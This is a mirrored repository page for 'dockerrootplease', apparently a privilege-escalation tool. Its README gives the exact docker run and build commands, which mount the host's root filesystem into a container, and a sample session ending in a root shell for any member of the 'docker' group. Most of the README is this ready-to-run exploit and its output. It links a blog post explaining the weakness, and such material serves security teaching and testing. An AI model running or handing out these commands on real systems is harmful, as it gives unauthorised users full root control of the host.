# dockerrootplease **Repository Path**: mirrors_ryenus/dockerrootplease ## Basic Information - **Project Name**: dockerrootplease - **Description**: Gives you root on the hostOS, if you're a member of the 'docker' group. - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2021-02-27 - **Last Updated**: 2026-05-10 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README Root Please =========== If you're a member of the 'docker' group on a machine, this command gives you a root shell on the host OS. [See my blog post for details](https://fosterelli.co/privilege-escalation-via-docker). How to Use ---------- Through Docker Hub: ```bash > docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease ``` Or through Github: ```bash > git clone https://github.com/chrisfosterelli/dockerrootplease rootplease > cd rootplease/ > docker build -t rootplease . > docker run -v /:/hostOS -it --rm rootplease ``` And the result: ```bash johndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # whoami root # ```